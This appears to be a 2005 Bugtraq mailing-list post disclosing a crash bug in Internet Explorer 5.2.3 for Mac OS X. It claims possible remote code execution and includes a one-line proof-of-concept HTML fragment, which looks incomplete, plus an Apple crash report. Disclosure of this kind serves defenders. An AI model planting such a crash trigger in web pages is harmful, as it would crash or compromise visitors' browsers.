bugtraq - Re: Microsoft IE 5.2.3 for Mac OSX crash

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Date: Thu, 22 Sep 2005 14:16:11 +0200
From: "Marco Mella" <marco.mella@...ecomitalia.it>
To: <full-disclosure@...ts.grok.org.uk>
Cc: bugtraq@...urityfocus.com
Subject: Re: Microsoft IE 5.2.3 for Mac OSX crash


In attach a POC of IE 5.2.3 Browser.



On 22/set/05, at 14:03, Marco Mella wrote:

>
> Microsoft IE 5.2.3 is the last IE browser released for Mac OSX.
> IE 5.2.3 contain a vulnerability that allow a remote attacker to
> crash the browser an potetially remote code execution.
>
> A remote attacker could setup a malicious site and entice a victim to
> visit it triggering the buffer overflow.
>
> Exploit tested on Tiger and Panther.
>
> Sample of POC (save on file and open with IE to test locally)
> ---------------------------------------------------------------------- 
> --
> ---------
> Begin code------
>
>
> >about:file"" SRC=about:""
> >
>
> End of code-------
>
>
> Apple Crash Report
> ---------------------------
> OS Version: 10.4.2 (Build 8C46)
> Report Version: 3
>
> Command: Internet Explorer
> Path: /Applications/Internet Explorer.app/Contents/MacOS/Internet
> Explorer
> Parent: WindowServer [65]
>
> Version: 5.2.3 (5.2.3)
> Build Version: 30
> Project Name: MicrosoftIE5
> Source Version: 58150100
>
> PID: 854
> Thread: 7
>
> Exception: EXC_BAD_ACCESS (0x0001)
> Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x000002e4
>
> Thread 0:
> 0 libSystem.B.dylib 0x9000a778 mach_msg_trap + 8
> 1 libSystem.B.dylib 0x9000a6bc mach_msg + 60
> 2 ...ple.CoreServices.CarbonCore 0x90b661e4 SwitchContexts + 96
> 3 ...ple.CoreServices.CarbonCore 0x90b5be90 YieldToThread + 372
> .....
> snip----
>
> Regards,
> Marco
>
>
>
>
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CONFIDENTIALITY NOTICE

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        Thank you

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